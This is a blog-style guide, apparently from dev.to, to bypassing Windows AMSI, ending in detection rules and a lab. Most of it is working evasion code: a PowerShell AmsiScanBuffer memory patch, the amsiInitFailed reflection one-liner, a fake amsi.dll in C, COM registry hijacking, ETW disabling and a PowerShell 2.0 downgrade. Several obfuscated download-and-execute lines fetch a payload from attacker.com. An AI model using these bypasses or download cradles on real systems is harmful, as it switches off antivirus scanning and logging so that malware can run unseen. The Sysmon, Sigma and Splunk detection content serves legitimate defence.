Description: Master AMSI architecture, bypass methods, detection strategies, and hands-on labs. From basics to advanced exploitation.
🛡️ AMSI Bypass Techniques: The Complete 2026 Developer's Guide
TL;DR: This is a comprehensive, hands-on guide to understanding how AMSI works, 7 proven bypass techniques with working code, detection strategies, and a full lab setup. Bookmark this—you'll reference it often.
📚 Table of Contents
- What is AMSI?
- AMSI Architecture
- 7 Bypass Techniques
- 1. Memory Patching
- 2. Obfuscation
- 3. Reflection Bypass
- 4. Downgrade Attack
- 5. DLL Hijacking
- 6. COM Hijacking
- 7. ETW Patching
- Detection & Defense
- Hands-On Lab
- Cheat Sheet
- Resources
🎯 What is AMSI?
AMSI = Antivirus Malware Scan Interface
Before diving into bypasses, understand what AMSI actually does.
The Problem AMSI Solves
Traditional AV:
File → Disk → AV Scan → Detect/Block Modern attacks:
Script → Memory → Execute → AV sees nothing 😢 AMSI fixes this:
Script → AMSI intercept → AV scan → Allow/Block → Execute What AMSI Covers
| Technology | Supported | Since |
|---|---|---|
| PowerShell | ✅ | 5.0+ |
| VBScript | ✅ | Win10 |
| JScript | ✅ | Win10 |
| Office Macros | ✅ | Office 2016+ |
| .NET Assemblies | ✅ | .NET 4.8+ |
| WMI | ✅ | Win10 1903+ |
🏗️ AMSI Architecture
Flow Diagram
┌──────────────────────────────────────┐ │ Application (PowerShell) │ │ - User runs script │ └───────────────┬──────────────────────┘ │ ▼ ┌──────────────────────────────────────┐ │ AMSI Client (amsi.dll) │ │ AmsiScanBuffer() │ ◄─── TARGET FOR BYPASSES │ AmsiScanString() │ └───────────────┬──────────────────────┘ │ ▼ ┌──────────────────────────────────────┐ │ AV Provider (Windows Defender) │ │ - Signature matching │ │ - Behavioral analysis │ └──────────────────────────────────────┘ Key Functions
// Initialize AMSI context HRESULT AmsiInitialize( LPCWSTR appName, HAMSICONTEXT *amsiContext ); // Scan buffer (main scanning function) HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result ); // Clean up void AmsiUninitialize( HAMSICONTEXT amsiContext ); Result Codes
| Code | Value | Meaning |
|---|---|---|
AMSI_RESULT_CLEAN | 0 | ✅ No threat |
AMSI_RESULT_NOT_DETECTED | 1 | ✅ No threat |
AMSI_RESULT_DETECTED | 32768 | 🚨 Malware detected |
Critical insight: If AmsiScanBuffer() is compromised, the entire chain fails.
⚔️ 7 Bypass Techniques
1️⃣ Memory Patching
Difficulty: ⭐⭐⭐
Stealth: ⭐⭐
Effectiveness: ⭐⭐⭐⭐⭐
How It Works
Overwrite AmsiScanBuffer() in memory to always return success without scanning.
Assembly Patch
; Original function does complex scanning ; Patched function: xor eax, eax ; EAX = 0 (S_OK) ret ; Return immediately PowerShell Implementation
function Patch-Amsi { # P/Invoke setup $code = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect( IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect ); } "@ Add-Type $code # Load amsi.dll $amsi = [Kernel32]::LoadLibrary("amsi.dll") $addr = [Kernel32]::GetProcAddress($amsi, "AmsiScanBuffer") # Change memory protection to PAGE_EXECUTE_READWRITE $oldProtect = 0 [Kernel32]::VirtualProtect($addr, [uint32]5, 0x40, [ref]$oldProtect) | Out-Null # x64 patch: mov eax, 0; ret $patch = [Byte[]] (0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3) [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6) # Restore original protection [Kernel32]::VirtualProtect($addr, [uint32]5, $oldProtect, [ref]$oldProtect) | Out-Null Write-Host "[+] AMSI patched" -ForegroundColor Green } Patch-Amsi Detection
Sysmon Config:
<ProcessAccess onmatch="include"> <TargetImage condition="end with">amsi.dll</TargetImage> <GrantedAccess>0x1F3FFF</GrantedAccess> </ProcessAccess> 2️⃣ Obfuscation
Difficulty: ⭐
Stealth: ⭐⭐⭐⭐
Effectiveness: ⭐⭐⭐
Technique Comparison
| Method | Example | Detection Risk |
|---|---|---|
| String Concat | "I"+"EX" | Low |
| Base64 | [Convert]::FromBase64String() | Medium |
| Character Substitution | I`E`X | Low |
| Format Strings | "{0}{1}" -f 'I','EX' | Low |
| Reflection | [type]::GetType("...") | Medium |
Examples
Basic Obfuscation:
# Original (detected) IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/payload") # Obfuscated v1: String concatenation $a = "I" + "EX" $b = "New-" + "Object" $c = "Net.Web" + "Client" & (GCI Alias:$a) (& $b $c).DownloadString("http://attacker.com/payload") # Obfuscated v2: Backticks I`E`X (N`ew-Obj`ect N`et.WebCl`ient).Down`loadStr`ing("http://attacker.com/payload") # Obfuscated v3: Format strings $cmd = "{0}{1}" -f "IE", "X" & $cmd (New-Object Net.WebClient).DownloadString("http://attacker.com/payload") Advanced Obfuscation:
# Character array assembly $chars = [char[]]@(73,69,88) # "IEX" $cmd = -join $chars & $cmd (New-Object Net.WebClient).DownloadString("http://attacker.com/payload") # Unicode encoding $unicode = [System.Text.Encoding]::Unicode.GetBytes("IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload')") $encoded = [Convert]::ToBase64String($unicode) powershell.exe -EncodedCommand $encoded Tools
- Invoke-Obfuscation (GitHub)
- ISE-Steroids
- Chimera (multi-language obfuscator)
3️⃣ Reflection Bypass
Difficulty: ⭐
Stealth: ⭐⭐⭐
Effectiveness: ⭐⭐⭐⭐
The Classic One-Liner
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) Step-by-Step Breakdown
# Step 1: Get PowerShell assembly $assembly = [Ref].Assembly # Step 2: Get AmsiUtils type $amsiUtils = $assembly.GetType('System.Management.Automation.AmsiUtils') # Step 3: Get amsiInitFailed field $field = $amsiUtils.GetField('amsiInitFailed', 'NonPublic,Static') # Step 4: Set to true (tells PowerShell AMSI failed to init) $field.SetValue($null, $true) Write-Host "[+] AMSI bypassed via reflection" -ForegroundColor Green Alternative Method: Context Nullification
# Null out the AMSI context directly $context = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static') $context.SetValue($null, $null) Obfuscated Version
# Less obvious to signature detection [Re`f].Assembly.GetType('Sys'+'tem.Manage'+'ment.Autom'+'ation.Amsi'+'Utils').GetField('ams'+'iInit'+'Failed','NonP'+'ublic,St'+'atic').SetValue($null,$true) Detection
PowerShell Script Block Logging (EventID 4104):
Indicators: - "AmsiUtils" - "amsiInitFailed" - "amsiContext" - "NonPublic,Static" Sigma Rule:
title: AMSI Bypass via Reflection status: stable logsource: product: windows service: powershell detection: selection: EventID: 4104 ScriptBlockText|contains|all: - 'AmsiUtils' - 'amsiInitFailed' condition: selection level: high 4️⃣ Downgrade Attack
Difficulty: ⭐
Stealth: ⭐⭐
Effectiveness: ⭐⭐⭐
Concept
PowerShell 2.0 (2009) predates AMSI → No AMSI in v2.0
Execution
# Force PowerShell 2.0 powershell.exe -version 2 -Command "malicious_payload_here" # Example powershell.exe -version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload')" Check If Vulnerable
# Check if PS 2.0 is installed Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root # Output: # State: Enabled ❌ (vulnerable) # State: Disabled ✅ (safe) Remediation
# Remove PowerShell 2.0 (requires admin + reboot) Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root # Verify Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root Detection
Sysmon EventID 1:
<ProcessCreate onmatch="include"> <Image condition="end with">powershell.exe</Image> <CommandLine condition="contains">-version 2</CommandLine> </ProcessCreate> Windows Event Log 400:
Look for: "Engine Version = 2.0" 5️⃣ DLL Hijacking
Difficulty: ⭐⭐⭐⭐
Stealth: ⭐⭐⭐
Effectiveness: ⭐⭐⭐⭐⭐
DLL Search Order
Windows searches for DLLs here (in order):
- Application directory
C:\Windows\System32C:\Windows\SystemC:\Windows- Current directory
- Directories in
%PATH%
Malicious amsi.dll (C/C++)
#include <windows.h> // Fake AmsiScanBuffer that always returns "clean" extern "C" __declspec(dllexport) HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result ) { *result = AMSI_RESULT_CLEAN; // Always clean return S_OK; } // Fake AmsiScanString extern "C" __declspec(dllexport) HRESULT AmsiScanString( HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result ) { *result = AMSI_RESULT_CLEAN; return S_OK; } // Fake initialization extern "C" __declspec(dllexport) HRESULT AmsiInitialize( LPCWSTR appName, HAMSICONTEXT * amsiContext ) { *amsiContext = (HAMSICONTEXT)1; return S_OK; } // Fake cleanup extern "C" __declspec(dllexport) void AmsiUninitialize( HAMSICONTEXT amsiContext ) { // Do nothing } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { return TRUE; } Compile:
# Using MinGW gcc -shared -o amsi.dll amsi.c # Using MSVC cl /LD amsi.c Detection
Sysmon EventID 7 (ImageLoad):
<ImageLoad onmatch="include"> <ImageLoaded condition="end with">amsi.dll</ImageLoaded> <ImageLoaded condition="not begin with">C:\Windows\System32</ImageLoaded> </ImageLoad> 6️⃣ COM Hijacking
Difficulty: ⭐⭐⭐⭐⭐
Stealth: ⭐⭐⭐⭐⭐
Effectiveness: ⭐⭐⭐⭐
Concept
Hijack AMSI's COM registration to redirect to malicious implementation.
Implementation
# AMSI CLSID $clsid = "{fdb00e52-a214-4aa1-8fba-4357bb0072ec}" # Create registry entry pointing to fake DLL New-Item "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Force Set-ItemProperty "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Name "(Default)" -Value "C:\Path\To\Fake\amsi.dll" 7️⃣ ETW Patching
Difficulty: ⭐⭐⭐
Stealth: ⭐⭐⭐⭐
Effectiveness: ⭐⭐⭐⭐
Concept
Disable Event Tracing for Windows (ETW) to prevent logging.
Implementation
# Patch ETW provider $etw = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider') $field = $etw.GetField('etwProvider','NonPublic,Static') $field.SetValue($null, $null) Write-Host "[+] ETW disabled" -ForegroundColor Green 🛡️ Detection & Defense
Defense-in-Depth Strategy
Layer 1: Prevention ├── Remove PowerShell 2.0 ├── Constrained Language Mode └── Application Whitelisting (AppLocker/WDAC) Layer 2: Detection ├── Script Block Logging (EventID 4104) ├── Sysmon Monitoring ├── EDR/XDR Behavioral Detection └── SIEM Correlation Rules Layer 3: Response ├── Automated Alerting ├── Playbook-based Response └── Threat Hunting Implementation Checklist
✅ Basic Hardening
- [ ] Remove PowerShell 2.0
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root - [ ] Enable Script Block Logging
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 - [ ] Enable Constrained Language Mode
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine') ✅ Sysmon Deployment
Config snippet for AMSI bypass detection:
<Sysmon schemaversion="4.82"> <EventFiltering> <!-- Memory patching detection --> <ProcessAccess onmatch="include"> <TargetImage condition="end with">amsi.dll</TargetImage> <GrantedAccess>0x1F3FFF</GrantedAccess> </ProcessAccess> <!-- PowerShell downgrade --> <ProcessCreate onmatch="include"> <Image condition="end with">powershell.exe</Image> <CommandLine condition="contains any">-version 2;-v 2</CommandLine> </ProcessCreate> <!-- Reflection bypass --> <ProcessCreate onmatch="include"> <CommandLine condition="contains all">AmsiUtils;amsiInitFailed</CommandLine> </ProcessCreate> <!-- DLL hijacking --> <ImageLoad onmatch="include"> <ImageLoaded condition="end with">amsi.dll</ImageLoaded> <ImageLoaded condition="not begin with">C:\Windows\System32</ImageLoaded> </ImageLoad> </EventFiltering> </Sysmon> ✅ SIEM/Splunk Queries
Detect reflection bypass:
index=windows EventCode=4104 ScriptBlockText="*AmsiUtils*" ScriptBlockText="*amsiInitFailed*" | stats count by Computer, User Detect PowerShell downgrade:
index=windows EventCode=4104 EngineVersion="2.*" | stats count by Computer, CommandLine 🧪 Hands-On Lab
Lab Setup
Requirements:
- Windows 10/11 VM
- PowerShell 5.1+
- Admin rights
- ⚠️ SNAPSHOT BEFORE TESTING
Exercise 1: Test AMSI Baseline
# This should be BLOCKED by AMSI 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386' # Expected output: # This script contains malicious content and has been blocked by your antivirus software. Exercise 2: Reflection Bypass
# Test 1: AMSI active (should block) 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386' # Bypass AMSI [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) # Test 2: AMSI bypassed (should NOT block) 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386' Exercise 3: Verify Logging
# Check if bypass was logged Get-WinEvent -FilterHashtable @{ LogName='Microsoft-Windows-PowerShell/Operational' ID=4104 } -MaxEvents 5 | Select-Object TimeCreated, Message | Format-List Exercise 4: Clean Up
# Restart PowerShell to restore AMSI exit 📋 Cheat Sheet
Quick Reference
| Technique | Command | Detection |
|---|---|---|
| Memory Patch | Custom P/Invoke | Sysmon ProcessAccess |
| Obfuscation | "I"+"EX" | Script Block Logging |
| Reflection | [Ref].Assembly... | EventID 4104 |
| Downgrade | powershell -v 2 | EventID 4104/400 |
| DLL Hijack | Place fake amsi.dll | Sysmon ImageLoad |
| COM Hijack | Registry redirect | Registry monitoring |
| ETW Patch | Null ETW provider | Behavioral detection |
Detection Priority
-
High Priority:
- PowerShell 2.0 execution
-
AmsiUtils+amsiInitFailedin scripts -
amsi.dllloaded from non-System32
-
Medium Priority:
- Base64-encoded commands
- Excessive obfuscation patterns
- Memory protection changes
-
Low Priority:
- Standard obfuscation
- Legitimate admin scripts
🔗 Resources
Official Docs
Tools
Further Reading
🎯 Key Takeaways
- ✅ AMSI is essential but not sufficient alone
- ✅ Multiple bypass methods exist — defenders must layer controls
- ✅ Logging is critical — even bypassed AMSI leaves traces
- ✅ Behavior > Signatures — detect what scripts DO, not what they LOOK LIKE
- ✅
Source:https://dev.to/cyberrscourse/amsi-bypass-techniques-the-complete-2026-developers-guide-4he